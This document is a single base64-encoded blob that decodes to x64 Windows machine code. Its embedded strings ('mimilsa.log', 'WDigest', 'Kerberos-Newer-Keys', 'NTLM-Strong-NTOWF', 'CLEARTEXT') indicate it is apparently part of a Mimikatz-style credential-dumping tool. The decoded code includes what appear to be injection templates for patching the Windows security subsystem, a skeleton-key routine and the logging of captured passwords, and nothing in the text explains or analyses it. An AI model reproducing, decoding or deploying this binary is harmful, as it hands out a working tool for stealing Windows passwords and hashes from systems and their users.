yOj38Pr/QbABSI1VwEiNTeD/FT7jAgCFwA+IlAAAAEiL10iNTfD/FcniAgBBsAFIjVXwSI1N0P8VGOMCAIXAeGi/gQAJAEyNTSCL10yNRShIi8voEff//0iFwHQTTI1NKIvPTI1F4EiNVdDoVQAAAL+HAAkATI1NIIvXTI1FKEiLy+ji9v//SIXAdBNMjU0oi89MjUXgSI1V0OgmAAAASI1N0P8V/OICAEiNTeD/FfLiAgBIi1wkcEiLfCR4SIPEYF3DzMxIiVwkCEiJbCQQSIl0JBhXSIPsMEmL2UmL+IH5gQAJAHUTTI0Nl0kFAEiL8kiNLa1JBQDrFEyNDZRJBQBJi/BIjS2qSQUASIv6SIsbgzsAdEODewQAdBpEi0MEM9JMA8NIiXwkKDPJSIl0JCDoC+H//4N7CAB0HUSLQwhMi81MA8NIiXwkKDPSSIl0JCAzyejo4P//SItcJEBIi2wkSEiLdCRQSIPEMF/DzMzMSIlcJAhVV0FUQVZBV0iNbCSQSIHscAEAAEUz/8dEJEAtXHwvTI1MJFhEib2wAAAATI0FpY0EAEyJfCQgSIvax0QkRC1cfC+L+ceFuAAAAP//D2Do8DL7/4XAD4RrAwAATI1MJFBMiXwkIEyNBTPBBABIi9OLz+jNMvv/hcAPhD8DAABMi3QkUEyNTCRQTI0FCF4FAEyJdCQgSIvTi8/opTL7/0iNBbqEBABIi9NMjU2ISIlEJCBMjQXvXQUAi8/ohDL7/0yNTCR4TIl8JCBMjQU/JQUASIvTi8/oaTL7/4XAD4TSAgAASItMJHhIg8j/SP/AZkQ5PEF19kiD+CBFi89BvBAAAABBD5TBRYXJdA9Fi8RIjVQkeOgzLvv/6wNBi8eFwA+EhgIAAEiLfYhMjUwkYEiLTCRYTI1EJEBIi9f/FQ7gAgCFwA+IUgIAAEiNTQD/FdTfAgBBuAQAAABIjZWwAAAASI1NAP8Vtd8CALsIAAAASI1UJEBEi8NIjU0A/xWe3wIARIvDSI1UJGBIjU0A/xWM3wIASI1NAP8Vet8CAEiNRCRoRIlkJDBIiUQkKEyNTVhFi8REiWQkIEiNVCR4uQOAAADobJv6/4XAD4QDAgAATI1EJGhIjVQkSEiNTCRA6AwCAABMjUQkaEiNVZBIjUwkYOj5AQAASItMJFhIjYW4AAAASIlEJDBEjUP+SI1FmEyLz0iJRCQoSYvWSI1EJEhIiUQkIP8VFd8CAIXAD4hgAQAASItFkEg7RZgPhUkBAABIi0QkSEG+ZAAAwEGLz0GL3omNsAAAAIP5BA+DGgEAAEkDxESJZahMjUQkaEiJRCRISI1VoEiNTCRI6HABAACLhbAAAABIjU3ASIlMJDhIjRUCuwMASI1NsEyLz0iJTCQwSI1N8ESLBIJIi1QkUEiJTCQoSI1NoEiJTCQgSItMJFj/FYDeAgCL2IXAD4iFAAAASItUJFBIjQ3iWwUA6KXs+v9MjUXQSI1UJGhIjU2w/xXi1QIATI1F4EiNVCRoSI1NwP8Vz9UCAEiNDdBbBQDoc+z6/0UzwEiNTdBBi9ToMC37/0iNDUXRAwDoWOz6/0iNDcFbBQDoTOz6/0UzwEiNTeBBi9ToCS37/0iNDR7RAwDoMez6/0iLRCRIi42wAAAASP/A/8FIiUQkSImNsAAAAEE73g+E3f7//4XbeVSL00iNDZBbBQDrG0iNDRdcBQDrO0iNDc5cBQDrB0iNDVVdBQCL0Oje6/r/6ydIjQ3VXQUA6xlIjQ1sXgUA6xBIjQ3TXgUA6wdIjQ06XwUA6LXr+v8zwEiLnCSgAQAASIHEcAEAAEFfQV5BXF9dw8zMzEiJXCQIV0iD7CBJi9gzwEiJAkyNRCRASIv6SIvT/xWt1AIASI1TB0yLx0iNTCRA/xWb1AIASItcJDBIg8QgX8NIiUwkCFdIgexAAgAAx0QkJAAAAADHRCRgQwBMAMdEJGRFAEEAx0QkaFIAVADHRCRsRQBYAMdEJHBUAAAASI1EJHRIi/gzwLkUAAAA86rHhCSIAAAAVwBEAMeEJIwAAABpAGcAx4QkkAAAAGUAcwDHhCSUAAAAdAAAAEiNhCSYAAAASIv4M8C5GAAAAPOqx4QksAAAAEsAZQDHhCS0AAAAcgBiAMeEJLgAAABlAHIAx4QkvAAAAG8AcwDHhCTAAAAAAAAAAEiNhCTEAAAASIv4M8C5FAAAAPOqx4Qk2AAAAEsAZQDHhCTcAAAAcgBiAMeEJOAAAABlAHIAx4Qk5AAAAG8AcwDHhCToAAAALQBOAMeEJOwAAABlAHcAx4Qk8AAAAGUAcgDHhCT0AAAALQBLAMeEJPgAAABlAHkAx4Qk/AAAAHMAAADHhCQAAQAATgBUAMeEJAQBAABMAE0Ax4QkCAEAAC0AUwDHhCQMAQAAdAByAMeEJBABAABvAG4Ax4QkFAEAAGcALQDHhCQYAQAATgBUAMeEJBwBAABPAFcAx4QkIAEAAEYAAABIjYQkJAEAAEiL+DPAuQQAAADzqrgSAAAAZomEJDABAAC4EgAAAGaJhCQyAQAASI1EJGBIiYQkOAEAALgOAAAAZomEJEABAAC4DgAAAGaJhCRCAQAASI2EJIgAAABIiYQkSAEAALgQAAAAZomEJFABAAC4EAAAAGaJhCRSAQAASI2EJLAAAABIiYQkWAEAALgmAAAAZomEJGABAAC4JgAAAGaJhCRiAQAASI2EJNgAAABIiYQkaAEAALgiAAAAZomEJHABAAC4IgAAAGaJhCRyAQAASI2EJAABAABIiYQkeAEAAEGxAUG4AAAAEEiNVCRIM8lIuEFBQUFBQUFB/9CFwA+MCAQAAEiNVCRAuQUAAABIuEhISEhISEhI/9CFwA+M2QMAAEyNTCQ4SItEJEBMi0AQugAAABBIi0wkSEi4RERERERERET/0IXAD4yXAwAATI1MJChIi4QkUAIAAESLQCi6AAAAEEiLTCQ4SLhFRUVFRUVFRf/QhcAPjFcDAADHRCQgAAAAAOsKi0QkIP/AiUQkIIN8JCAGD4NSAQAAi0QkIEhrwCBIx4QEmAEAAAAAAACLRCQgSGvAIMeEBIQBAAAAAAAAi0QkIEhrwCCLTCQgiYwEgAEAAItEJCBIa8Agx4QEkAEAAIAAAACDfCQgAHRci0QkIEhrwCBIjYQEhAEAAItMJCBIa8kgSI2MDJgBAACLVCQg/8qL0khr0hBIjZQUMAEAAEyLyEyLwUiLTCQoSLhDQ0NDQ0NDQ//Qi0wkIEhrySCJhAyQAQAA60uLRCQgSGvAIMeEBIQBAAAkAAAAi0QkIEhrwCBIjYQEmAEAAEyLwLoSAAAASItMJChIuEZGRkZGRkZG/9CLTCQgSGvJIImEDJABAACLRCQgSGvAIIO8BJABAAAAfECLRCQgSGvAIEiDvASYAQAAAHQti0QkIEhrwCCDvASEAQAAAHQbi0QkIEhrwCCLhASEAQAAi0wkJAPIi8GJRCQk6Zn+//+LRCQkSIPAaEiLjCRQAgAAiUEQSIuEJFACAACLQBBBuQQAAABBuAAwAACL0DPJSLhKSkpKSkpKSv/QSIlEJDBIi4QkUAIAAEiLTCQwSIlIGEiDfCQwAA+EeQEAAMdEJCQAAAAASIuEJFACAABIi0AYxwAGAAAAx0QkIAAAAADrCotEJCD/wIlEJCCDfCQgBg+DQAEAAItEJCBIa8Agg7wEkAEAAAAPjCUBAACLRCQgSGvAIEiDvASYAQAAAA+EyAAAAItEJCBIa8Agg7wEhAEAAAAPhLIAAACLRCQkSIPAaItMJCBIa8kgiYQMiAEAAItEJCBIa8AgSIuMJFACAABIi0kYi1QkIEhr0hAPEIQEgAEAAPMPf0QRCItEJCBIa8Agi4QEhAEAAItMJCBIa8kgi1QkIEhr0iCLlBSIAQAASIu8JFACAABIA1cYSIlUJFBEi8BIi5QMmAEAAEiLRCRQSIvISLhMTExMTExMTP/Qi0QkIEhrwCCLhASEAQAAi0wkJAPIi8GJRCQkg3wkIAB0HotEJCBIa8AgSIuMBJgBAABIuEtLS0tLS0tL/9DrIYtEJCBIa8AguhIAAABIi4wEmAEAAEi4R0dHR0dHR0f/0Omr/v//SI1MJChIuEJCQkJCQkJC/9BIjUwkOEi4QkJCQkJCQkL/0EiLVCRAuQUAAABIuElJSUlJSUlJ/9BIjUwkSEi4QkJCQkJCQkL/0DPASIHEQAIAAF/DuHJhc2zDzMxIg+w4QbgWAAAATI0Nc1sFAEiNFYRbBQBMiUQkIEiNDZBbBQDonwQAADPASIPEOMNIg+w4QbgqAAAATI0Ng1sFAEiNFaxbBQBMiUQkIEiNDdBbBQDobwQAADPASIPEOMNIg+w4QbgeAAAATI0Ny1sFAEiNFeRbBQBMiUQkIEiNDfhbBQDoPwQAADPASIPEOMNIg+w4RTPJTI0F9lsFAEiNDeeEBgBBjVEB6Crn+v8zwEiDxDjDzMzMSIPsKEg7EXIfi0EQSAMBSDvQcxRIi1EYSI0N1VsFAOiw4/r/M8DrBbgBAAAASIPEKMPMzESJRCQYVVNWV0FUQVVBVkFXSI1sJOFIgezoAAAAM//GRW/pTIvpSIl8JCBIjUVvZsdFZ/8lSIlFj0QPt+KNXwFmx0V/UEhBDxBFAI1PBMaFgQAAALhIjUVniU2fSIlFt0SLz41HAolNx4lFv7lMAQAAiUXDZjvRi8eJfYcPlcCJXZeJRctIjQ0MtAYASI1Ff4ldm0iJRd+L90iNRCQgSIldo0iJRQeJXa+JXc+JfdfHRecDAAAAx0XrAwAAAEjHRe8IAAAAiX33SIl8JChIiUwkMEiJTQ/zD39EJDiD/gMPg/cAAACLxkiNHIBEO0Tdhw+C2wAAAItM3Z9Ei3zdm0EDz0SL8YvRuUAAAAD/FV7QAgBIiUQkKEiFwA+EqAAAAEWLxkiNTCQoSYvV6AzY+v+FwA+EgAAAAEiLfCQoRItE3ZdIi9dIi0zdj+hRvQIAhcB1ajlE3aN0FEljDD9JA85BvkwBAABIA0wkOOsXSYsMP0G+TAEAAEiJTCQgZkU75nUHi8lIiUwkIIN83acAdC1IiUwkOEiNVCQ4SI1NB0G4CAAAAOiT1/r/ZkU75nUJi0QkIEiJRCQgSIt8JChIi8//FbrPAgAz/0SLRXdMi0wkIP/GTYXJD4QA////SYvBSIHE6AAAAEFfQV5BXUFcX15bXcPMSIvESIlYCEiJaBBIiXAYV0iD7DAPEEEwM/Yz/0iL6kiL2fMPf0DoSDlxMA+EpQAAAA+3E0iNTCQgRIvH6Mv9//9IiUQkIEiLyEiFwHQZSDtFAHIMi0UQSANFAEg7yHbRSIvx/8frykiF9nRqTItFGEiNDWVZBQCL1+gu4fr/SItTEEiF0nQOSI0NblkFAOgZ4fr/6w+LUwRIjQ1tWQUA6Ajh+v9Ii1MwSI0NbVkFAEyLxuj14Pr/SItLOEiNFRb9//9Mi8bozuf6/0iNDcPFAwDo1uD6/0iLXCRAuAEAAABIi2wkSEiLdCRQSIPEMF/DSIPsKEyLwUiNFQL////o/fL6/7gBAAAASIPEKMPMzMxIiVwkEFdIg+wgi1lQg/sED4aVAAAASI1ROESLw0iNDQBZBQDoc+D6/0SLwzPSuQAAAID/FdvOAgBIi/hIhcB0VroQAAAAjUow/xUdzgIASIlEJDBIi9hIhcB0EkyNRCQwSIvXuQEAAADodtT6/4XAdBpFM8BIjRVk////SIvL6ATn+v9Ii8voMNX6/0iLz/8VH84CAOsU/xUHzgIAi9BIjQ2WWAUA6PHf+v+4AQAAAEiLXCQ4SIPEIF/DzEiD7Cgz0kiNDTf////oruX6/zPASIPEKMPMzMxIiVwkCEiJdCQYVVdBVEFWQVdIjWwk0UiB7OAAAAAz/0iJVdchfCRISI0FjbAGAEiJRd9Mi/JIiUXPTYvgSI1Fr0yJTcdIiUQkQESNRwRIIXwkOEyL+UghfCQwD1fASCF8JChIi9EhfCQgM8lJi/HzD39Fn+jn7/r/hcAPhCIBAABIi12vjVcQjU9A/xUDzQIASIlFp0iFwHQXTI1Fp0iL041PAehj0/r/i8hIi0Wn6wIzyYXJD4TKAAAARTPASI1VB0iLyOha7Pr/hcAPhKoAAABIi0UXSI1VZ0iNTZ9IiUWf6EHt+v+FwA+EjQAAAEghfCRATI1Nx0iLRadIjVXXIXwkOEiNTedIi11nTYvESCF8JDAhfCQoSIlF70iLQzBIiUXni0NQSIlF90iLRX9IiUQkIOhP4Pr/i/iFwHQgSItN/0yLzkiJTCQgTYvGSI0Nn1cFAEmL1+hn3vr/6xT/FWfMAgCL0EiNDeZXBQDoUd76/0iLy/8VKMwCAEiLTafoX9P6/0iLTa//FbXQAgBIi023/xVDzAIASItNr/8VOcwCAEyNnCTgAAAAi8dJi1swSYtzQEmL40FfQV5BXF9dw8zMzEyJTCQgTIlEJBhIiVQkEIlMJAhIgeyoAAAAx0QkUG1pbWnHRCRUbHNhLsdEJFhsb2cAx0QkQGEAAADHRCRgWwAlAMdEJGQwADgAx0QkaHgAOgDHRCRsJQAwAMdEJHA4AHgAx0QkdF0AIADHRCR4JQB3AMdEJHxaAFwAx4QkgAAAACUAdwDHhCSEAAAAWgAJAMeEJIgAAAAlAHcAx4QkjAAAAFoACgDHhCSQAAAAAAAAAEiNVCRASI1MJFBIuEFBQUFBQUFB/9BIiUQkSEiDfCRIAHRxSIuEJMAAAABIg8AoSIuMJMAAAABIg8EISIuUJMAAAABIg8IYSIlEJDBIiUwkKEiJVCQgSIuEJMAAAABEiwhIi4QkwAAAAESLQARIjVQkYEiLTCRISLhCQkJCQkJCQv/QSItMJEhIuENDQ0NDQ0ND/9BMi4wkyAAAAEyLhCTAAAAASIuUJLgAAACLjCSwAAAASLhERERERERERP/QSIHEqAAAAMO4cHNzbcPMzEiLxEiJWAhIiXAQSIl4IFVIjWjYSIHsIAEAAGYPbwXN6wUASI0NZlYFAEiDZCRAAEiNBUGtBgBIiUQkSEiNVUBmD39FkEiNBVxWBQBmD28FrOsFAA9XyUiJRYhIjQVOVgUASIlFqEiNBU9WBQBmD39FsGYPbwWW6wUASIlFyEiNRYBmD39F0GYPbwWR6wUASIlNgEiJTaBIiU3ASI0NJlYFAEiJRCR4Zg9/TeBmD39F8MdEJHAEAAAA6Gbi+v+FwA+EqgIAAESLRUAz0rk4BAAA/xUhygIASIv4SIXAD4R+AgAAuhAAAACNSjD/FV/JAgBIiUQkOEiFwHQbTI1EJDhIi9e5AQAAAOi7z/r/i8hIi0QkOOsCM8mFyQ+ENgIAAEyNRQBIi8hIjRWyVQUA6EHo+v+FwA+EEQIAAItFEDPbDxBFAIsVqrQGADPJSIlEJGBIjQWIfAYA8w9/RCRQORB3FEiL2EiDwVBIg8BQSIH58AAAAHLoSIXbD4TNAQAASItDEEyNRCRQi1MISI1MJEBIiUQkQOi60vr/hcAPhJYBAACLQyy5QAAAAIPADovQi/D/FZnIAgBIiUQkQEiFwA+EhwEAAEiLTCRoSI1UJDBIY0MoTGNDLEgDyEiJTCRoSIlMJDBIjUwkQOgu0Pr/hcAPhCEBAABIY1MsQbhAAAAASItMJECLBc17BgCJBAoPtwXHewYAZolECgSL1kiNTCQw6MLT+v+FwA+E/QAAAEhjUyxEi8ZIi0QkQEiLTCRoSAPKSIlMAgZIjVQkQEiLRCQwSI1MJDBIiUX46L3P+v+FwA+EoQAAAEiNTCQwTI0Fhf3//0iJTCQgSItMJDhIjRX8+///RCvCTI1MJHDoywL7/4XAdGSLBT17BgBIjVQkQEiLTCRAiQEPtwUuewYAZolBBEiLRCQwSItMJEBIiUEGSI1MJDBIi0QkaExjQyxIiUQkMOhEz/r/hcB0DkiNDRVUBQDomNn6/+tB/xWYxwIASI0NKVQFAOsr/xWJxwIASI0NqlQFAOsc/xV6xwIASI0NW1UFAOsN/xVrxwIASI0N3FUFAIvQ6FXZ+v9Ii0wkQP8VKscCAOsU/xVKxwIAi9BIjQ1JVgUA6DTZ+v9Ii0wkOOhKzvr/SIvP/xU5xwIA6yP/FSHHAgBIjQ2iVgUA6w3/FRLHAgBIjQ0DVwUAi9Do/Nj6/0yNnCQgAQAAM8BJi1sQSYtzGEmLeyhJi+Ndw8xMiUwkIESJRCQYiVQkEEiJTCQISIPsWMdEJCCaAADAx0QkOGC6T8rHRCQ83EZsesdEJEADPBeBx0QkRJTAPfa6KAAAADPJSLhKSkpKSkpKSv/QSItMJHhIiQFIi0QkeEiDOAAPhPgAAABMjUwkMESLRCRwi1QkaEiLTCRgSLhDQ0NDQ0NDQ//QiUQkIIN8JCAAD4yjAAAAQbgQAAAASItUJDBIi0QkeEiLCEi4TExMTExMTEz/0EyNTCQoRItEJHC6EAAAAEiNTCQ4SLhDQ0NDQ0NDQ//QiUQkIIN8JCAAfDdIi0QkeEiLAEiDwBBBuBAAAABIi1QkKEiLyEi4TExMTExMTEz/0EiLTCQoSLhLS0tLS0tLS//QSItEJHhIiwBIi0wkYEiJSCBIi0wkMEi4S0tLS0tLS0v/0IN8JCAAfSBIi0QkeEiLCEi4S0tLS0tLS0v/0EiLRCR4SMcAAAAAAItEJCBIg8RYw8zMTIlMJCBEiUQkGEiJVCQQSIlMJAhIg+xYx0QkMJoAAMBIi4QkgAAAAIsAiUQkNMdEJEBguk/Kx0QkRNxGbHrHRCRIAzwXgcdEJEyUwD32i0QkcIvQM8lIuEpKSkpKSkpK/9BIiUQkOEiDfCQ4AA+E0wAAAItEJHBEi8BIi1QkaEiLTCQ4SLhMTExMTExMTP/QSIuEJIAAAABIiUQkIEyLTCR4RItEJHBIi1QkOEiLTCRgSLhERERERERERP/QiUQkMIN8JDAAfW1Ii4QkgAAAAItMJDSJCEiLRCRgSIPAEEiLjCSAAAAASIlMJCBMi0wkeESLRCRwSItUJDhIi8hIuERERERERERE/9CJRCQwg3wkMAB8IEG4EAAAAEiNVCRASItEJGBIi0ggSLhMTExMTExMTP/QSItMJDhIuEtLS0tLS0tL/9CLRCQwSIPEWMPMuGxla3PDzMxIiVwkCFVWV0FVQVdIjWwkoEiB7GABAABmD28F/OUFAEiNBe2mBgBIiUQkSEyNBQEiBQBmD39F0EiNBW1UBQBmD28F5eUFADP2SCG1qAAAAA9XyUghdCRAgT0urwYAiBMAAEiJRchIjQUfPwQASIlF6EiNBaQhBQBmD39F8GYPbwW35QUASIlFAEiNBcQiBQBmD39FEGYPbwUP5QUASIlFCEiNRcBmD39FMGYPbwUK5QUASIlFsEyJRcBMiUXgZg9/TSBmD39NQGYPf0VQx0WoBQAAAHIcSCF0JCBMjQXaUwUARTPJ6O4Y+/+FwHUEM9vrBbsBAAAAM8BMjS30dQYASYvVSIlEJFhIjUwkWEiJRCRg/xX8xgIASI2VoAAAAEiNDT5PBQDoldv6/4XAD4QAAwAARIuFoAAAADPSuTgEAAD/FU3DAgBIi/hIhcAPhMwCAABBvxAAAABBi9dBjU8w/xWGwgIASIlEJDhIhcB0GkyNRCQ4SIvXQY1P8ejjyPr/i8hIi0QkOOsCM8mFyQ+EgAIAAIXbD4UCAQAATI1EJGhIi8hIjRUhUwUA6GDh+v+FwA+ExQAAAA8QRCRoi0QkeEyNRYiNUyhMiWwkQEiNTCRASIlFmPMPf0WI6BDM+v+FwA+EhwAAAEiNDfVSBQDoKNT6/0iNRCRYSYvXSIlEJEBMjUWISItFoEiNTCRASIlEJGDo2Mv6/4XAdEpIi1WgSI0N1VIFAOjw0/r/M8BIjVQkQEiJRCRYSI1MJDBIiUQkYE2Lx0iLRaBIiUQkMOhlyfr/i/CFwA+ErQEAAEiNDbhSBQDrEEiNDd9SBQDrB0iNDUZTBQDoodP6/+sU/xWhwQIAi9BIjQ2gUwUA6IvT+v+F9g+EcQEAAEiLRCQ4TI1EJGhIi8hIjRU3VAUA6F7g+v+FwA+EPAEAAEiNDSNUBQD/FT2/AgBIjVQkULkXAAAASIvY/xXKxAIAhcAPiCgBAABIi0QkUEyNBQr9//9MjT1H+v//RSvHTI1NqEmL10iLSChIK8tIA0wkaEiJTThIjUwkMEiLQDhIK8NIiUwkIEgDRCRoSItMJDhIiUVY6MX7+v+FwA+ErQAAAEiNDcJTBQDo1dL6/0iLRCQwSI1UJEBIi0wkaL4IAAAASImFqAAAAEgry0iNhagAAABEi8ZIiUQkQEiLRCRQSIPAKEgDyEiJTCQwSI1MJDDoKcj6/4XAdHdIjQ2SUwUA6H3S+v9Ii0wkaEiNBf36//9JK8dIjVQkQEgBhagAAABIK8tIi0QkUESLxkiDwDhIA8hIiUwkMEiNTCQw6N3H+v+FwHQrSI0NdlMFAOsHSI0NnVMFAOgo0vr/6xT/FSjAAgCL0EiNDSdSBQDoEtL6/0iLTCQ46CjH+v9Ii8//FRfAAgDrFP8V/78CAIvQSI0N3lMFAOjp0fr/M8BIi5wkkAEAAEiBxGABAABBX0FdX15dw0iJXCQIVUiL7EiD7FDofqwBAEiNDQ9UBQBIixhIi9PorNH6/0yNRShIi8tIjVXw6Oix+v+FwA+E1AAAAItdKEiNDRpUBQCL0+iD0fr/uQIBAABMjUXgSI1VKP8VeMMCAIXAeB5Ii03wSI1FKEyNTSBIiUQkIEyNReiL0+iUzfr/6wIzwIXAdH6LVSBMjQ3+UwUAD1fJSI0NJFQFAA9XwPNIDyrD80gPKsrzD17I8w9ZDWvgBQAPWtFmSQ9+0OgO0fr/RItFIEiNDcNTBQBIi1Xo6Oqv+v+FwHQOSI0NX1QFAOjq0Pr/6xT/Feq+AgCL0EiNDVlUBQDo1ND6/0iLTej/Faq+AgBIi03w/xWgvgIAM8BIi1wkYEiDxFBdw8zMzEiJXCQQVVZXQVRBVUFWQVdIjWwk2UiB7MAAAAAz28dFrwEBAABIiV3fx0WzAAAABcdFtyAAAACFyXQFSIsS6wdIjRVhswMASI1NF/8VV8ICAEUzyUiNVc9IjU0XRY1BMf8VIsACAIXAD4i0BAAASItNz0yNTd9MjUWvugADAAD/FSPAAgCFwHkOi9BIjQ1OVAUA6BnQ+v+JXedIi03PSI1Fv0G5AQAAAEiJRCQgTI1FD0iNVef/Fa2/AgBEi+iFwHkTi9BIjQ11WAUA6ODP+v/pGQQAAESL+zldvw+GAwQAAEiLVQ9IjQ1kVAUAQYvHSIPCCEiNHEBIjRTa6LDP+v9Ii0UPSI1bAUiLTc9MjUUHSI0U2P8Vfr8CADPbhcAPiKUDAABIjQ1NVAUA6IDP+v9Ii00H6PcR+/9Mi0UHTI1Np0iLTc+6AAMAAP8VWL8CAIXAD4hXAwAAiV3rSItNp0iNRX9IiUQkKEyNTddFM8DHRCQgAQAAAEiNVev/FTe/AgBEi+CFwHkTi9BIjQ1vVgUA6BrP+v/p+wIAAIvzOV1/D4bmAgAAi8ZIjQ3pUwUATI00QEiLRddCixTwTI1ACE+NBPDo6M76/0iLRddMjU3/SItNp7obAwAARosE8P8Vvb4CAIXAD4iIAgAASItN/0yNRXdIjVXv/xXTvgIAhcAPiI0AAACL+zldd3Z6SItF70iNDZlTBQCL34sU2OiPzvr/SItF70yNTZdIi02nugEAAABMjQTYSI1Fx0iJRCQg/xVLvgIAM9uFwHgmSItVl0iNDSIwBADoVc76/0iLTZf/FRO+AgBIi03H/xUJvgIA6w6L0EiNDVZTBQDoMc76///HO313coZIi03v/xXovQIA6w6L0EiNDaVTBQDoEM76/0iLRddMjUX3SItN/0KLFPD/FRK+AgCFwA+ImwEAAEiLTadIjUWfTI1NZ0iJRCQgTI1F97oBAAAA/xXivQIAhcAPiI0AAACL+zldZ3Z6SItFn0iNDbBTBQCL34sUmOiuzfr/SItFn0yNTZdIi02nugEAAABMjQSYSI1Fx0iJRCQg/xVqvQIAM9uFwHgmSItVl0iNDUEvBADodM36/0iLTZf/FTK9AgBIi03H/xUovQIA6w6L0EiNDXVSBQDoUM36///HO31ncoZIi02f/xUHvQIA6w6L0EiNDURTBQDoL836/0iLTd9IhckPhL8AAABIjUWfugEAAABMjU1nSIlEJCBMjUX3/xUWvQIAhcAPiI0AAACL+zldZ3Z6SItFn0iNDWRTBQCL34sUmOjizPr/SItFn0yNTZdIi03fugEAAABMjQSYSI1Fx0iJRCQg/xWevAIAM9uFwHgmSItVl0iNDXUuBADoqMz6/0iLTZf/FWa8AgBIi03H/xVcvAIA6w6L0EiNDalRBQDohMz6///HO31ncoZIi02f/xU7vAIA6w6L0EiNDXhSBQDoY8z6/0iLTff/FSG8AgDrDovQSI0N3lIFAOhJzPr/SItN//8VD7wCAOsOi9BIjQ0kUwUA6C/M+v//xjt1fw+CGv3//0iLTdf/FeK7AgBBgfwFAQAAD4S4/P//SItNp/8V07sCAOsOi9BIjQ24UwUA6PPL+v9Ii00H/xWxuwIA6w6L0EiNDf5TBQDo2cv6/0H/x0Q7fb8Pgv37//9Ii00P/xWKuwIASI0No7ADAOi2y/r/QYH9BQEAAA+Ek/v//0iLTd9Ihcl0Bv8VarsCAEiLTc//FWC7AgDrDovQSI0NlVQFAOiAy/r/M8BIi5wkCAEAAEiBxMAAAABBX0FeQV1BXF9eXcPMzMxIiVwkCFdIg+wgRTPATI1MJDiL+UGNUAH/Fcq9AgCL2IvXhcB4DkiNDQtXBQDoLsv6/+sPRIvASI0NIlcFAOgdy/r/i8NIi1wkMEiDxCBfw0BTSIPsIEiLwrsNAADAhcl0GEiLCEUzwDPS6FGkAQCLyOiK////i9jrDEiNDV9XBQDo2sr6/4vDSIPEIFvDzMxAU0iD7CC7DQAAwIXJdEhIixJMjUQkQDPJ/xUZtAIAhcB0HotUJESF0nUNi0wkQOg8////i9jrK0iNDXFXBQDrD/8VkbgCAIvQSI0N0FcFAOh7yvr/6wxIjQ1CWAUA6G3K+v+Lw0iDxCBbw8y5FAAAAOn6/v//zMy5CgAAAOnu/v//zMy5CAAAAOni/v//zMy5BwAAAOnW/v//zMy5EQAAAOnK/v//zMy5EgAAAOm+/v//zMy5FgAAAOmy/v//zMwz0kiNDesBAADp4s/6/8zMQFNIg+xwhcl0dI1B/0hjyEiLHMpIjQ1tWQUASIvT6N3J+v/HRCRIAQAAAEiNRCRQSIlEJEBFM8BIg2QkOABIi9NIg2QkMAAzyUiDZCQoAINkJCAA6EPa+v+FwHQNi1QkYEiNDVBZBQDrD/8VmLcCAIvQSI0NZ1kFAOiCyfr/M8BIg8RwW8PMzEUzwOkYAAAAQbgBAAAA6Q0AAADMQbgCAAAA6QEAAADMSIlcJAhIiWwkEFZXQVZIg+wwQYvYvyUCAMBFhcB0LEGD6AF0GEGD+AEPhfYAAAC+AAgAAEiNLc1ZBQDrGr4ACAAASI0tl1kFAOsMvgEAAABIjS1hWQUASINkJCAATI1MJGhMjQUn8wQA6KYM+/+FwA+EowAAAEiLTCRoRTPAM9LoM6IBAESL8IXAD4SJAAAARIvAM9KLzv8VM7cCAEiL8EiFwHRehdt0IIPrAXQQg/sBdTNIi8j/FRy7AgDrFkiLyP8VKbsCAOsLM9JIi8j/FRS7AgCL+IXAeAxFi8ZIjQ1EWQUA6wpEi8dIjQ1oWQUASIvV6GDI+v9Ii87/FW+2AgDrIv8VV7YCAIvQSI0NtlkFAOhByPr/6wxIjQ0oWgUA6DPI+v9Ii1wkUIvHSItsJFhIg8QwQV5fXsPMzEiD7ChIi1FQTI1BOEiNDYFaBQDoBMj6/7gBAAAASIPEKMPMzEyNBQEBAADpDAAAAEyNBeEBAADpAAAAAEiLxEiJWAhIiWgQSIlwGFdIg+wwSYvoTI1IIDP2TI0F9PEEAEghcOgz/+htC/v/hcB0QEiLTCRYjXcBRTPAM9Lo+6ABAESLwDPSuQAAAID/FQO2AgBIi/hIhcB1Fv8VhbUCAIvQSI0NBFoFAOhvx/r/62O6EAAAAI1KMP8VL7UCAEiJRCRYSIvYSIXAdA9MjUQkWEiL14vO6Iu7+v+FwHQYRTPASIvVSIvL6B3O+v9Ii8voSbz6/+sU/xUptQIAi9BIjQ0oWgUA6BPH+v9Ii8//FSK1AgBIi1wkQDPASItsJEhIi3QkUEiDxDBfw8zMzEiJXCQIV0iD7CBIi9pIi/lIi1EYSI0NbVoFAOjQxvr/TIvDSI0VGgAAAEiLz+gS2fr/SItcJDC4AQAAAEiDxCBfw8zMQFNIg+wgRItBBEiL2UiLUSBIjQ08WgUA6I/G+v9Ig3sQAHQRi1MISI0NPloFAOh5xvr/6wxIjQ04WgUA6GvG+v9Ii1MwSIXSdA5IjQ0rWgUA6FbG+v/rDEiNDRVaBQDoSMb6/0iLUxBIhdJ0DkiNDRBaBQDoM8b6/+sMSI0N8lkFAOglxvr/SItTGEiF0nQMSI0N9VkFAOgQxvr/uAEAAABIg8QgW8PMSIlcJAhXSIPsIEiL2kiL+UiLURhIjQ2BWQUA6OTF+v9Mi8NIi8/oVdr6/0iLXCQwuAEAAABIg8QgX8PMQFNIg+wgTItJCEiL2UyLQTBIi1EgSI0NnFkFAOinxfr/SItTGEiF0nQOSI0Nq1kFAOiSxfr/6w+LUxBIjQ2mWQUA6IHF+v+4AQAAAEiDxCBbw8zMSIlcJAhIiXQkEFdIg+wgSYvZQYv4SIvxRYXAdGNNiwFIjQ3VWgUA6EjF+v+D/wF1KEiLC//WhcB0CUiNDTuEBADrRP8VM7MCAIvQSI0N0loFAOgdxfr/6zOLVCRQhdJ0FoE9fZ4GALAdAAByCkiLC+gDAgAA6xVIjQ0WWwUA6wdIjQ1tWwUA6OjE+v9Ii1wkMDPASIt0JDhIg8QgX8PMzEiD7DiDZCQgAEyLykSLwUiNFa5bBQBIjQ2f//r/6D7///9Ig8Q4w8xIg+w4g2QkIABMi8pEi8FIjRWeWwUASI0N8//6/+gW////SIPEOMPMSIPsOEyLysdEJCABAAAARIvBSI0Vi1sFAEiNDdgA+//o6/7//0iDxDjDzMxIg+w4TIvKx0QkIAIAAABEi8FIjRV3WwUASI0NvAD7/+i//v//SIPEOMPMzEiD7DhMi8rHRCQgAwAAAESLwUiNFWNbBQBIjQ2gAPv/6JP+//9Ig8Q4w8zMSIPsOEyLysdEJCAPAAAARIvBSI0VT1sFAEiNDYQA+//oZ/7//0iDxDjDzMxIg+w4TIvKx0QkIAUAAABEi8FIjRU7WwUASI0NaAD7/+g7/v//SIPEOMPMzEiJTCQISIPseEiLhCSAAAAASIPAMEjHRCRoAAAAAEjHRCRgAAAAAEjHRCRYAAAAAMdEJFAAAAAAx0QkSAAAAABI